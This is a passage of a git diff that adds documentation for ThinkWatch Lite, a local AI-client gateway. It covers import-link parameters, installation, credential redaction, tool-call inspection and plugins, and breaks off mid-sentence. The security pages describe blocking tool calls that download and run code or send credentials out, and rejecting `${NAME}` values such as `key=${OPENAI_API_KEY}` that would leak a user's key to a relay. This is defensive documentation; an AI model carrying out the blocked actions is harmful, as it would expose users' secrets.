names both hosts. | +| `oauth_refresh` | The refresh token. Required with `auth=oauth`. | +| `oauth_client_id` | The client ID, with `auth=oauth`. Optional. | +| `oauth_client_secret` | The client secret, with `auth=oauth`. Optional. | +| `aws_access_key_id` | The access key ID, with `service=bedrock` and `auth=aws-keys`. Required there. | +| `aws_secret_access_key` | The secret access key. Required with `auth=aws-keys`. | +| `aws_session_token` | The session token of temporary credentials, with `auth=aws-keys`. Optional. | + +Plain `http://` is accepted in `url` and `oauth_endpoint` for addresses on this computer or a private network, such as an enterprise gateway on the company intranet. The host must be `localhost`, `127.0.0.1` or `[::1]`; an IPv4 address in `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `100.64.0.0/10` or `169.254.0.0/16`; an IPv6 address in `fc00::/7` or `fe80::/10`; a name without a dot; or a name ending in `.local`, `.lan`, `.internal`, `.intranet`, `.corp`, `.home.arpa` or `.localhost`. Any other `http://` address is rejected. For a plain `http://` address other than this computer, the dialog and the web page state under the host that the key and request content travel unencrypted. + +### Advanced settings + +| Parameter | Value | +|---|---| +| `headers` | Extra request headers, one `Name: Value` per line. The encoding is described under [Encodings](#encodings). Not accepted with `auth=account`. | +| `client_identity` | `on` turns on Forward client identity, for relays that accept only specific clients. Sub2API, New API and custom upstreams only. | +| `concurrency` | The concurrency limit: a whole number from 1 to 1000, without a sign or leading zeros. Not accepted with `auth=account`. | +| `balance` | Where the balance is read: `off`, `openrouter`, `deepseek`, `moonshot`, `sub2api`, `newapi` or `thinkwatch`. When omitted, the source is detected automatically. Custom upstreams only; other services decide their own source. | + +### Models + +| Parameter | Value | +|---|---| +| `models` | Comma-separated model IDs, added to the upstream by hand. The app offers them next to the models the service lists, so a service that lists only some of its models can name the rest here; when the service lists none, they are its whole list. Repeated IDs are kept once. | +| `models_only` | Comma-separated model IDs or patterns with `*` and `?`. Sets the enabled models to these models only. | +| `specs` | Model specs, entries separated by `;`, each `model\|context\|max_output\|reasoning\|image`. They are saved once the upstream exists, for models on its final list. A spec for a model that is neither in `models` nor listed by the upstream is not saved, and the Models step says so. | + +### Billing + +| Parameter | Value | +|---|---| +| `billing` | `per-token` or `free`. When omitted, the service's default applies: free for Ollama, per token for the others. | +| `price_multiplier` | The multiplier of a new price sheet, above 0 and at most 100, such as `0.8`. Not accepted with free billing. | +| `prices` | Price overrides for the new price sheet, entries separated by `;`, each `model\|input\|output\|cache_read\|cache_write_5m\|cache_write_1h`. Not accepted with free billing. | + +When `price_multiplier` or `prices` is present, the Billing step preselects a new price sheet named after the upstream, with the multiplier (1 when omitted) and the overrides from the link. The sheet can be edited like any new sheet and is created together with the upstream when **Create** is chosen. When a sheet of that name exists, the dialog asks for another name, as it does for a taken upstream name. + +## By service + +| Service | `service` | `auth` | Address | Protocol | +|---|---|---|---|---| +| Anthropic | `anthropic` | `key` | `https://api.anthropic.com` | `anthropic` | +| OpenAI | `openai` | `key`, `account` (ChatGPT account) | `https://api.openai.com` | `openai-chat` (default) or `openai-responses` | +| Google Gemini | `gemini` | `key` | `https://generativelanguage.googleapis.com` | `gemini` | +| DeepSeek | `deepseek` | `key` | `https://api.deepseek.com/anthropic` | `anthropic` | +| Z.ai / BigModel | `zai` | `key`, `account` | `https://open.bigmodel.cn/api/anthropic` or `https://api.z.ai/api/anthropic`, by `site` | `anthropic` | +| Amazon Bedrock | `bedrock` | `key` (Bedrock API key), `aws-keys` | The standard address of `region`, or an endpoint in `url` | Not set by a link | +| OpenRouter | `openrouter` | `key` | `https://openrouter.ai/api` | `openai-chat` | +| ThinkWatch Enterprise | `thinkwatch` | `key` | `url`, required | Not set by a link; the gateway accepts each client's format | +| Sub2API | `sub2api` | `key` | `url`, required | Any, or detected | +| New API / One API | `newapi` | `key` | `url`, required | Any, or detected | +| Ollama | `ollama` | `key`, without a key field | `http://127.0.0.1:11434`, or another address in `url` | `openai-chat` | +| Custom | `custom` | `key`, `oauth` | `url`, required | Any, or detected | + +`headers` and `concurrency` apply to every service except an account sign-in. `client_identity` applies to Sub2API, New API and custom upstreams, and `balance` to custom upstreams. The parameters of the Models and Billing groups apply to every service, account sign-ins included. + +A link with `auth=account` carries no credential: the sign-in happens in the app. Such a link takes `service`, `auth`, `site`, `name` and the Models and Billing parameters only. + +## Encodings + +- Each value is percent-encoded, for example with `encodeURIComponent`, and decoded once. A literal `+` means a space, so a key that contains `+` is written as `%2B`. +- Each parameter appears at most once, and an empty value is rejected. +- No value may contain `$`, `{` or `}`, control characters or invisible characters. The app reads `${NAME}` from the user's environment, so these characters could make it send a local secret to the link's host. +- A value that fails its rule rejects the whole link. The app records only the reason, never the content. + +Lists and entries: + +| Parameter | Encoding | Example value, before percent-encoding | +|---|---|---| +| `models` | Model IDs separated by `,`; letters, digits and `- _ . : / @ +` | `glm-5,glm-5-air` | +| `models_only` | As `models`, plus `*` and `?` in patterns | `claude-*,gpt-5` | +| `headers` | Lines separated by a line feed (`%0A`), each `Name: Value` | `X-Relay-Group: pro`, line feed, `X-Relay-Region: hk` | +| `specs` | Entries separated by `;`, each `model\|context\|max_output\|reasoning\|image` | `glm-5-air\|128000\|96000\|y\|n` | +| `prices` | Entries separated by `;`, each `model\|input\|output\|cache_read\|cache_write_5m\|cache_write_1h` | `glm-5\|1\|3.2\|0.2` | + +In `headers`, a name uses the token characters of HTTP (letters, digits and ``! # % & ' * + - . ^ _ ` | ~``), and a value is printable ASCII with surrounding spaces removed. No name may appear twice, ignoring case. Headers that carry credentials or that the gateway writes itself are rejected: `Authorization`, `Proxy-Authorization`, `X-Api-Key`, `X-Goog-Api-Key`, `Api-Key`, `Cookie`, `Host`, `Content-Length`, `Content-Type`, `Content-Encoding`, `Transfer-Encoding`, `Connection`, `Keep-Alive`, `Upgrade`, `TE`, `Trailer`, `User-Agent`, and any name starting with `Proxy-` or `Sec-`. + +In `specs`, `context` and `max_output` are token counts from 1 to 10,000,000, and `reasoning` and `image` are `y` or `n`. Any of the four may be empty, but not all of them. + +In `prices`, each price is in USD per million tokens, with up to six digits before and six after the decimal point. `input` and `output` are required. A cache price that is empty or left out takes the input price. + +Limits: + +| Item | Limit | +|---|---| +| Whole link | 8192 characters | +| `name` | 64 characters; no leading or trailing spaces; none of `/`, `\`, `$`, `{`, `}`, `<`, `>`, `"` or the backtick; not `.` or `..`; not starting with `__` | +| `url`, `oauth_endpoint` | 2048 characters | +| `key`, `oauth_client_id`, `oauth_client_secret`, `aws_secret_access_key` | 512 characters; letters, digits and `- _ . ~ + / = :` | +| `oauth_refresh`, `aws_session_token` | 4096 characters; the same characters as `key` | +| `aws_access_key_id` | 16 to 128 capital letters and digits | +| `region` | 32 characters; lowercase letters, digits and `-` | +| `headers` | 16 lines; names up to 64 characters, values up to 1024 | +| `models`, `models_only`, `specs`, `prices` | 64 entries each; model IDs up to 128 characters; no model twice in `specs` or `prices` | + +## What the app does with a link + +1. **Checks the link.** Every rule on this page is applied in the app, whatever the page that produced the link has checked. +2. **Opens the New upstream dialog, filled in.** The dialog opens on its second step, Connection, or Account for an account sign-in. A note under the steps names the host that will receive requests and keys, and the token endpoint's host when it differs. Hosts are shown in ASCII: an internationalized domain name appears as punycode (`xn--…`), so a look-alike domain cannot pass for a familiar one. Every value can be changed, and going back to the first step to pick another service drops the values that service does not take. +3. **Writes and sends nothing before the user acts.** Until **Next** is chosen on the second step, which checks the connection, or a sign-in is started, the configuration is not written and no request leaves the machine. +4. **Creates one new upstream.** An import never changes, replaces or deletes an existing upstream, never makes the new one the default and never adds it to a route. When the name is taken, the dialog asks for another. Several upstreams on one address with different keys are normal. +5. **Handles one link at a time.** Links that arrive while the dialog is open are ignored. When a New upstream or Edit upstream dialog is already open, an arriving link is dropped, so a form being filled in is never replaced. + +## Links from a newer version + +A parameter that the installed app does not know no longer fails silently. The app shows **Cannot import this link**, names the parameter, and offers to install an update when one is available. The web form behaves the same way: it lists the settings it recognizes, states that a newer ThinkWatch Lite is needed, and still offers to open the link. A parameter name is shown only when it consists of up to 32 lowercase letters, digits and underscores. + +## What a link can never set + +Any web page can open a link, so a link is limited to what a user can judge in the dialog. A link that tries to set one of the following is rejected as a whole. + +| Not accepted | Reason | +|---|---| +| Outbound proxy, and what happens when it is unavailable | The sender does not know the user's network. The user picks them in the dialog. | +| AWS profile, and environment variable references (`${NAME}`) | They would make the app read local credentials or the environment and send them to the link's host. A link with `key=${OPENAI_API_KEY}` would send the user's own key to the relay. | +| Aliases, routes, the default upstream and route weights | They would redirect clients that are already configured. | +| The disabled switch and the access token used only for checking | A new upstream starts enabled, and the access token is obtained with the refresh token. | +| Credentials for an account sign-in | The sign-in happens in the app, with the service. | +| Authentication, cookie and connection headers | A header must not replace the key or the identity the gateway sends. | +| Plain `http://` to public hosts | The key would cross the internet unencrypted. On this computer and private networks, plain `http://` is accepted and marked as unencrypted. | +| MCP servers and client configuration | They run commands or change the settings of other applications. | +| Icons and other presentation | Not needed to connect, and a way to imitate a familiar service. | + +These settings can be changed in the app after the upstream is created. + +## Examples + +A relay that needs two headers, limits concurrency to 4, lists only some of its models, and charges 0.8 times the public prices with one override (no `service`: the address is recognized as a custom upstream): + +```text +thinkwatch://import?name=example-relay&url=https%3A%2F%2Fapi.relay.example%2Fv1&protocol=openai-chat&key=sk-relay-EXAMPLE&headers=X-Relay-Group%3A%20pro%0AX-Relay-Region%3A%20hk&concurrency=4&models=glm-5%2Cglm-5-air&specs=glm-5-air%7C128000%7C96000%7Cy%7Cn&price_multiplier=0.8&prices=glm-5%7C1%7C3.2%7C0.2 +``` + +The same link in its web form: + +```text +https://thinkwat.ch/import#name=example-relay&url=https%3A%2F%2Fapi.relay.example%2Fv1&protocol=openai-chat&key=sk-relay-EXAMPLE&headers=X-Relay-Group%3A%20pro%0AX-Relay-Region%3A%20hk&concurrency=4&models=glm-5%2Cglm-5-air&specs=glm-5-air%7C128000%7C96000%7Cy%7Cn&price_multiplier=0.8&prices=glm-5%7C1%7C3.2%7C0.2 +``` + +Amazon Bedrock in `eu-west-1` with access keys: + +```text +thinkwatch://import?service=bedrock&auth=aws-keys®ion=eu-west-1&aws_access_key_id=AKIAIOSFODNN7EXAMPLE&aws_secret_access_key=wJalrXUtnFEMI%2FK7MDENG%2FbPxRfiCYEXAMPLEKEY +``` + +A ThinkWatch Enterprise gateway. The **Add to ThinkWatch Lite** button in the ThinkWatch Enterprise console writes this link with the gateway's address and the new key: + +```text +thinkwatch://import?service=thinkwatch&name=thinkwatch&url=https%3A%2F%2Fai.example.com&key=tw-EXAMPLE +``` + +A ChatGPT account. The link opens the sign-in; it carries no credential: + +```text +thinkwatch://import?service=openai&auth=account&name=chatgpt +``` + +A link written for earlier versions, still valid: + +```text +thinkwatch://import?name=example-relay&url=https%3A%2F%2Fapi.relay.example&protocol=anthropic&key=sk-relay-EXAMPLE +``` + +Links written for earlier versions keep working even where the recognized service would not take them: an official address with another path such as `https://api.openai.com/v1`, an Ollama address with a `key`, or `https://api.deepseek.com` with `protocol=openai-chat`. Such a link becomes a custom upstream, as it did before. + +## On a New API site + +A New API or One API site can offer ThinkWatch Lite for every key without changing its code. In the site's system settings, add a chat preset named ThinkWatch Lite with this URL: + +```text +thinkwatch://import?service=newapi&url={address}&key={key} +``` + +The site fills in its server address and the key of the row, and the preset appears in the chat menu of each key. Opening it needs ThinkWatch Lite 2026.10.16 or later; with an earlier version, or without the app, nothing happens. + +## Keys in links + +A link that contains a key, a refresh token or a secret access key is a credential. Generate a separate link for each customer and deliver it through a private channel, such as the customer's own dashboard. A link without a key leaves the key field empty, to be filled in the dialog. diff --git a/src/content/docs-lite/en/install.md b/src/content/docs-lite/en/install.md new file mode 100644 index 0000000..4a6b90e --- /dev/null +++ b/src/content/docs-lite/en/install.md @@ -0,0 +1,105 @@ +# Install and update + +ThinkWatch Lite runs on macOS 12 or later on Apple silicon, on Windows 10 21H2 or later on x64 or ARM64, and on Linux on x86_64 or aarch64. The gateway, ThinkWatch Core, ships inside the app; nothing else needs to be installed. + +## macOS: Homebrew + +```bash +brew install --cask thinkwatchproject/tap/thinkwatch-lite +``` + +The cask lives in [thinkwatchproject/tap](https://github.com/ThinkWatchProject/homebrew-tap). Beyond copying the app out of the disk image, it does one more thing: it removes the quarantine attribute. + +## macOS: disk image + +Download `ThinkWatch-Lite--darwin-arm64.dmg` from the [latest release](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest), check it against the sha256 published beside it, open it, and drag ThinkWatch Lite into Applications. + +The app is **not signed by a registered Apple developer**, so macOS quarantines a downloaded copy and refuses to open it until the attribute is removed: + +```bash +xattr -dr com.apple.quarantine "/Applications/ThinkWatch Lite.app" +``` + +Without a terminal, the same takes one click after the first refused launch: System Settings › Privacy & Security › Open Anyway. + +## Windows: installer + +Download the installer for the machine's architecture from the [latest release](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest): `ThinkWatch-Lite--windows-x64-setup.exe` for most PCs, or `ThinkWatch-Lite--windows-arm64-setup.exe` for a PC with an ARM processor. The [Lite page](/lite#install) links to both installers of the latest release. Check the download against the sha256 published beside it: + +```powershell +Get-FileHash .\ThinkWatch-Lite--windows-x64-setup.exe +``` + +The installer sets the app up for all users in Program Files, so Windows asks for administrator permission. It requires Windows 10 21H2 or later; WebView2, which Windows 11 already includes, is downloaded during installation if it is missing. + +The installer is **not code-signed**, and no certificate will be bought. Running a downloaded copy brings up SmartScreen's full-screen warning, "Windows protected your PC". Choose **More info**, then **Run anyway**. + +Once installed, the app's icon sits in the notification area: a left click opens the main window, a right click opens the menu. Data is kept in `%APPDATA%\ThinkWatch`. + +Uninstalling through the system first closes ThinkWatch Lite, restores the connected clients and removes the `thinkwatch://` link, launch-at-login entry and notification registration that point to it. With "Also delete data (configuration, API keys, request history)" ticked it deletes `%APPDATA%\ThinkWatch` as well, except when a client could not be restored, in which case the data directory, with that client's backup, is kept. The uninstaller runs as an administrator: when a standard account uninstalls with an administrator's password, it restores the administrator's clients and deletes the administrator's data instead, so use Settings › Full uninstall first in that case. + +## Windows: portable + +The portable copy runs from the folder it is extracted to, with no installation and no administrator rights. Download `ThinkWatch-Lite--windows-x64-portable.zip` (or `ThinkWatch-Lite--windows-arm64-portable.zip` for a PC with an ARM processor) from the [latest release](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest), check it against the sha256 published beside it, extract it to any folder the user can write to and run `ThinkWatch Lite.exe`. The zip holds two files: `ThinkWatch Lite.exe` and the gateway, `twcore.exe`. + +Configuration, keys and request history stay in the `data\` folder next to the program, apart from the installed copy's `%APPDATA%\ThinkWatch`, so the two keep separate settings. In a folder that cannot be written to, the app says so and quits. + +The portable copy is not code-signed either, and SmartScreen is handled the same way as for the installer. It does not bring WebView2, which Windows 11 already includes; when it is missing, the app says so and can open Microsoft's download page. + +Only one of the installed and portable copies runs at a time. Opening one while the other is running offers to stop the running one: it exits once the requests in flight have finished, and the one just opened starts. `thinkwatch://` links and launch at login always point to the copy that is running, and the launch-at-login switch is shared by both. + +To remove it, use Settings › Full uninstall first, which restores the connected clients and removes launch at login and the other registry entries, then delete the whole folder. + +## Linux + +```bash +curl -fsSL https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest/download/install.sh | sh +``` + +The script downloads the AppImage for the machine's architecture, checks it against the sha256 published beside it, installs it as `~/Applications/ThinkWatch-Lite.AppImage` and starts it. Running it again installs the latest version over the old one. + +To install by hand, download `ThinkWatch-Lite--linux-x86_64.AppImage` or `ThinkWatch-Lite--linux-aarch64.AppImage` from the [latest release](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest), check it with `sha256sum -c`, allow it to run (`chmod +x`, or Properties › "Allow executing file as program" in the file manager) and open it. Keep it in a folder the user can write to, such as `~/Applications`, so that it can update itself. The first launch adds ThinkWatch Lite to the application menu, together with its icon and the `thinkwatch://` link handler. Only the AppImage is published; there are no deb, rpm, Flatpak or Snap packages. + +It requires Ubuntu 22.04, Debian 12, Fedora 36 or a later distribution of the same generation. An AppImage mounts itself with FUSE and needs `fusermount3` from the fuse3 package (libfuse2 is not needed). Most desktops already include it; otherwise: + +| Distribution | Command | +|---|---| +| Ubuntu, Debian | `sudo apt install fuse3` | +| Fedora | `sudo dnf install fuse3` | +| Arch Linux | `sudo pacman -S fuse3` | +| openSUSE | `sudo zypper install fuse3` | + +The tray icon relies on AppIndicator. Ubuntu ships the GNOME extension for it; Fedora's stock GNOME does not, and the AppIndicator extension has to be added. Without a tray, closing the window leaves the gateway running, and launching ThinkWatch Lite again from the application menu brings the window back. Data is kept in `~/.thinkwatch`. + +- **Blank window on NVIDIA under Wayland:** start the app with `WEBKIT_DISABLE_DMABUF_RENDERER=1`. +- **Other machines cannot reach the gateway:** firewalld, which Fedora enables by default, blocks the gateway port until it is opened; Settings shows a note about this when the gateway listens on the local network. +- **Uninstalling:** use Settings › Full uninstall first, which restores the clients the app configured and removes the autostart and application menu entries, then delete the AppImage. + +## Updates + +The app looks for a new version two minutes after it starts and once a day after that, reading a small manifest and nothing else. The automatic check can be turned off in Settings › About. + +When the automatic check finds a new version, the app lists it among the notices and posts a system notification. With **Notices** in Settings › General set to **In app only**, only the notice appears; with **Off**, neither does. The notice, the notification, the **Install Version** item in the menu bar or tray menu, and **Update to** in Settings › About open the update window; **Check for updates**, in the same menu or in Settings › About, opens it at once when there is a new version. What happens next depends on how the app was installed. + +**Downloaded from the releases page on macOS:** one press on the install button does the rest. The app downloads the update, verifies it against a key compiled into itself, waits for the requests the gateway is serving to finish — up to three minutes — then replaces itself and restarts. A task in the middle of a response is not cut off to make room for the update. + +**With the Windows installer:** the same single press. The app downloads the new installer, verifies it against the key compiled into itself, waits for the requests in flight to finish in the same way, then runs the installer, and the new version starts once it is done. The app is installed for all users, so Windows asks for administrator permission at every update; declining leaves the current version running. + +**The Windows portable copy:** the same single press, and no administrator permission is needed. The app downloads the new zip, verifies it against the key compiled into itself, waits for the requests in flight to finish, then replaces the two program files in its folder and restarts. If replacing them fails, the old files are put back and the current version keeps running. + +**On Linux:** the same single press, and no password is asked for. The app downloads the new AppImage, verifies it against the key compiled into itself, waits for the requests in flight to finish, then replaces its own file and restarts. The AppImage has to be in a folder the user can write to. + +**Installed with Homebrew:** the window gives the command to copy, and the app never replaces itself. Homebrew records which version it put in `/Applications`; an app that overwrote it would be written back over by the next `brew upgrade`. A Homebrew installation is offered a new version only once the tap carries it, so the command always has something to install: + +```bash +brew update && brew upgrade --cask thinkwatch-lite +``` + +`brew update` comes first because `brew upgrade` refreshes taps at most once a day on its own. + +## Next steps + +- [Overview](/docs/lite): what the app shows. +- [Build from source](/docs/lite/run-from-source): run a development build. +- [Connecting to a remote core](/docs/lite/remote-core): use a gateway that runs on a server. +- [Architecture](/docs/lite/architecture): the structure of the app and how it communicates with Core. diff --git a/src/content/docs-lite/en/keep-api-keys-from-relays.md b/src/content/docs-lite/en/keep-api-keys-from-relays.md new file mode 100644 index 0000000..24c4acb --- /dev/null +++ b/src/content/docs-lite/en/keep-api-keys-from-relays.md @@ -0,0 +1,34 @@ +# Keep the API keys in requests away from relays, and block dangerous tool calls + +A relay receives every request in full, including keys that end up in the conversation, such as a pasted `.env` file or a configuration file a tool has read. ThinkWatch Lite's outbound redaction finds such credentials before a request leaves the machine and, in **Replace** mode, sends placeholders such as `<>` in their place, restoring the real values where the answer repeats them. Tool-call inspection checks the tool calls that come back and, in **Cut off** mode, stops those that download and run code or send credentials out before the client can run them. + +## Before you start + +- ThinkWatch Lite, [installed](/lite/#install), with clients connected to the gateway. This guide follows version 2026.10.6. +- Both protections start in **Observe**: they record what they find and change nothing. **Off** checks nothing. + +## Steps + +1. Open the Security page. The **Log** tab lists every finding with its request; since both modes use the same rules, a few days in **Observe** show what **Replace** would change. +2. Open **Redaction**. Built-in rules turn on or off one at a time, and **Test…** shows **What is sent** for a pasted text. +3. For a key format the built-in rules do not cover, choose **New rule**, enter a **Name**, a pattern under **Match (regular expression)** and a **Placeholder name** such as `INTERNAL` (giving `<>`), then choose **Create**. +4. Set the mode at the top of the tab to **Replace**. +5. Open **Tool calls**. Each built-in rule is marked **Cut off** or **Record only**, which **View rule** can change. Set the mode to **Cut off**. +6. The log's **Action** column then shows **Replaced** or **Cut off**, and a cut-off call also raises a system notification. From ThinkWatch Lite 2026.10.12, an entry opens in place to show where the value was found and the placeholder it was replaced with, or the tool call that was cut off and the notice the client received. + +## Notes + +| Mode | Outbound redaction | Tool-call inspection | +|---|---|---| +| **Observe** (default) | Findings are recorded; the request is sent unchanged. | Matching calls are recorded and returned as usual. | +| **Replace** / **Cut off** | Findings are replaced with placeholders before sending and restored in the response. | Calls matching a **Cut off** rule never fully reach the client; **Record only** rules still only record. | + +- **What redaction covers.** The whole request, system prompt, earlier turns and tool calls included, except base64 data such as images. Built-in rules find API keys and tokens for Anthropic, OpenAI, GitHub, Slack, AWS (access key IDs), Google, GitLab, Stripe, npm, DigitalOcean and SendGrid, private keys, JWTs, passwords in connection strings, and Chinese resident ID and bank card numbers whose structure and check digit are valid. The rules for email addresses, Chinese mainland mobile numbers, internal IP addresses and internal domains start off. +- **How values come back.** A value keeps one placeholder throughout a request, on every upstream. Placeholders the model writes back, in text or tool-call arguments, are restored before the client receives them: a command using the key runs locally with the real value, while the relay sees only the placeholder. +- **What is cut off.** Calls that download or decode code and run it, send out environment variables or credential files, read private keys or cloud credentials, send a credential to an unknown host, or install startup items or scheduled jobs. Built-in rules for deleting home or root, world-writable permissions and uploading a local file only record. +- **What the relay still sees.** The key configured for its upstream in the app, and the rest of the request as written: code, file contents, the conversation. The key a client uses for the gateway is not forwarded, and neither is the client's identity unless **Forward client identity** is on for that upstream. +- **Rules, not judgement.** Only values that match a rule are replaced; a credential without a recognizable prefix, such as an AWS secret access key, needs a custom rule. A dangerous command written in a form no rule matches passes tool-call inspection. +- **Nothing beyond the gateway.** What a relay does on its own servers, such as keeping requests or answering with another model, is out of sight; a mark such as **Model name differs** next to an upstream on the Upstreams page can show signs of the latter, not prove it. +- **The cost of acting.** Changed request content may miss the upstream's prompt cache, and a false match in **Cut off** stops the answer at that call. + +Related: [Features](/docs/lite/features/#security), including the third protection, the content filter; [Install and update](/docs/lite/install/). diff --git a/src/content/docs-lite/en/overview.md b/src/content/docs-lite/en/overview.md new file mode 100644 index 0000000..a167413 --- /dev/null +++ b/src/content/docs-lite/en/overview.md @@ -0,0 +1,43 @@ +# ThinkWatch Lite + +ThinkWatch Lite is a local gateway for Claude Code, Codex and other AI clients, on macOS, Windows and Linux. Each client is connected once; after that, upstreams and models change in the gateway without touching the client. Every request is recorded with its cost and route, and the API keys in it can be replaced before it leaves the machine. + +> It runs on macOS 12 or later on Apple silicon, on Windows 10 21H2 or later on x64 or ARM64 and on Linux on x86_64 or aarch64, is [installed](/docs/lite/install) with Homebrew, a disk image, the Windows installer or portable zip, or an AppImage, and updates itself. + +## Highlights + +- **Connect once, switch freely.** Twelve clients are pointed at the gateway in one step, with the change previewed and the original backed up; Cursor, Continue and Antigravity CLI come with instructions. +- **Protection against relays.** A relay sees every request and can rewrite every answer. Outbound redaction can replace credentials, ID numbers and bank card numbers before a request leaves, and tool-call inspection can cut off an answer that carries a dangerous tool call, such as download-and-run or sending out credential files, before the client runs it. The content filter can delete hidden characters that smuggle instructions into what the client sends, and all three protections start out only recording. +- **MCP servers, skills and hooks, scanned.** The MCP servers of thirteen clients side by side, and a scan of client configuration for hidden characters, prompt injection, dangerous commands and overly broad permissions. +- **Plugins.** Short JavaScript plugins adjust requests and answers, such as asking for answers in a chosen language or converting file paths between WSL and Windows. They run in a sandbox, see placeholders instead of keys, and every change they make is recorded. +- **Every request traceable.** The matched rule, each attempt, any format conversion and the cost, with replay against another upstream; the whole history can be searched, including the text of requests and answers. +- **Routing and failover.** Rules by model, tools, images and more; groups that fail over before the answer begins and keep each session on one upstream. +- **Any upstream.** API keys, Amazon Bedrock, ChatGPT and Z.ai accounts, relays and local models, with conversion between the Anthropic, OpenAI and Gemini APIs. +- **Costs stated as they are.** Estimates marked, unpriced requests counted separately rather than as zero. + +## Pages + +| Page | Contents | +|---|---| +| Overview | Tokens, cost, cache hits, requests, time to first token and traffic over a period, what needs attention, and a breakdown by model, upstream or key | +| Traffic | Every request, or requests grouped into sessions, with the details of each | +| Clients | Pointing clients at the gateway, and restoring them | +| Keys | The gateway keys clients connect with, each with its route and limits | +| Upstreams | Upstreams with their balances and quotas, outbound proxies and price sheets | +| Routing | Routes, rules and groups, auxiliary requests, and the dry run | +| Security | The security log and the three protections with their rules | +| MCP | MCP servers, skills and hooks in each client, and the configuration scan | +| Plugins | JavaScript plugins that change requests and answers, with their permissions, trial runs and logs | +| Settings | Connection, language, appearance, menu bar, notifications, listening, retention, updates and uninstall | + +Each page is described in [Features](/docs/lite/features). + +## Further reading + +- [Install and update](/docs/lite/install) +- [Connecting to a remote core](/docs/lite/remote-core): the gateway is [ThinkWatch Core](/docs/core), which runs beside the app or on a Linux server. +- [Plugins](/docs/lite/plugins): writing a plugin, its permissions and the sandbox it runs in. +- [Architecture](/docs/lite/architecture): Lite holds no routing, forwarding or accounting logic; it controls Core over an encrypted control channel. +- [Build from source](/docs/lite/run-from-source) + +ThinkWatch Lite is licensed under the MIT License. diff --git a/src/content/docs-lite/en/plugins.md b/src/content/docs-lite/en/plugins.md new file mode 100644 index 0000000..2e04cc1 --- /dev/null +++ b/src/content/docs-lite/en/plugins.md @@ -0,0 +1,341 @@ +# Plugins + +Plugins adapt requests and answers to a particular setup: adding instructions to the system prompt, removing a parameter that one upstream rejects, asking for answers in a chosen language, or rewriting file paths in tool calls between WSL and Windows. A plugin is a short JavaScript file. It runs in a sandbox inside core, sees placeholders instead of the keys it would otherwise find, and every change it makes is recorded on the request and checked by the same protections as anything a client sends. + +This page covers what plugins can do, where they run, how one is added and edited, the API for writing one, permissions, limits and the security model. Two plugins ship with the app, both off by default; they are described at the end. + +## What a plugin can change + +| Side | What can be changed | +|---|---| +| Request, before it goes to an upstream | The system prompt; the messages, including tool results and the arguments of earlier tool calls; the tool definitions; the model, `max_tokens`, `temperature`, `top_p` and `stop`. A plugin can also refuse the request. | +| Answer, before it reaches the client | The text of the answer, as a whole block or as it streams; the tool calls in the answer, which can be changed, removed or added. | + +A plugin sees the same structure whatever API format the client uses (Anthropic Messages, OpenAI Chat Completions, OpenAI Responses or Gemini). By default a plugin handles conversations: requests that generate an answer, and the token counts and Responses compaction requests that carry the same conversation. A plugin that declares them also handles embeddings and legacy completions, where it can change the text of each input; see [Embeddings and legacy completions](#embeddings-and-legacy-completions). Other endpoints, such as images and audio, pass every plugin untouched. + +Plugins also run on the WebSocket connection Codex uses for the Responses API: each `response.create` goes through the request hooks, and each answer through the answer hooks. A connection keeps the plugins that were in place when it opened. Other WebSocket connections, such as the Realtime API, are not handled by plugins. + +Core writes the changes back in the client's own format and touches only the items that changed; cache markers, signatures, images and fields it does not know are kept. A request that no plugin changes is forwarded byte for byte, so the upstream's prompt cache is unaffected. + +Request headers, upstream addresses and credentials are not available to plugins. Images are passed as their media type only, without their data, and thinking blocks can be read but not changed. + +## Where plugins run + +A request is routed first, on what the client sent: the routing rules, a rule's model rename, failover groups, keeping a session on one upstream and the models the key may use all apply to the client's original request, and plugins cannot change where it goes. Then, for each attempt to send it to an upstream: + +1. Keys in the request are replaced with placeholders. +2. The request hooks in scope for this attempt run in list order, starting from the request as the client sent it. The placeholders are restored after them. +3. If a plugin changed the request, the content filter checks it again, hidden-character rules included, and reports only what the plugins added. A block refuses the whole request; it is not tried on another upstream. +4. The request is converted to the upstream's format if needed, outbound redaction applies, and it is sent. + +When an attempt fails and the request moves to another upstream, the hooks run again from the request as the client sent it, so changes made for one upstream never reach another. A retry to the same upstream, such as the one after a sign-in token is refreshed, reuses what the hooks produced. + +A plugin that changes the model renames only what is sent to the upstream of this attempt, like a routing rule's rename, and replaces any name a rule set. The request is not routed again and the upstream's model list is not checked again, but the models the key may use still apply: a model outside them refuses the request. + +On the answer side, the hooks run after the answer is converted to the client's format and before the tool-call inspection. + +## Adding and editing a plugin + +Each plugin is a single file that holds everything about it: the code, the requests it handles, what happens when it fails and the value of each setting. The file alone describes the plugin, so a copy of it carries the settings too. Only whether the plugin is on is kept outside the file, as a switch in the app. + +**Settings** on a plugin's row opens its editor, which has two tabs and a single **Save**: + +- **Settings** holds the **Enabled** switch, the scope (**Applies to**), the behavior on errors (**On error**) and the plugin's own settings. Apart from **Enabled**, changes made here are written into the manifest in the code: the app rewrites only the manifest and leaves every other byte of the file as it is. +- **Code** holds the whole file. When typing pauses, core reads the code again and the Settings tab follows it. Code that cannot be loaded is marked at the line and column of the error, and the Settings tab waits until it loads again. + +Changes on both tabs are kept while switching between them and saved together. + +**Add plugin** opens the same editor on the **Code** tab, with a small working plugin to start from. The code is edited or pasted there, or loaded with **Import from file…** at the top right, and **Install** installs the plugin. For a new plugin the Settings tab also has the **Plugin ID**: lowercase letters, digits and hyphens, up to 40, suggested from the file name or the plugin's name. The ID cannot be changed after installing. A new plugin is installed turned off unless **Enabled** is switched on first. Plugins are installed only from a local file or pasted code; there is no installation from a link, no plugin marketplace and no automatic update. + +On the Plugins page: + +- **Order.** Plugins run in the order of the list, which **Reorder** changes by dragging or with the arrows. Each plugin sees the result of the one before it and is checked against its own permissions. +- **Trial run.** Runs the plugin on a recent request from the history, with the routing that request had: the upstream that answered and the model sent to it. It shows the request or answer before and after, with the plugin's log. Nothing is sent to an upstream, and a trial run does not count in the statistics. +- **Logs.** The latest 500 lines the plugin wrote with `console`. +- **Statistics** since the gateway started: runs, changes, rejections, errors and the average CPU time. + +On the Traffic page, requests changed by a plugin carry a mark. A request's detail lists every plugin run, grouped by attempt, with its outcome (unchanged, changed, rejected, error or skipped) and its 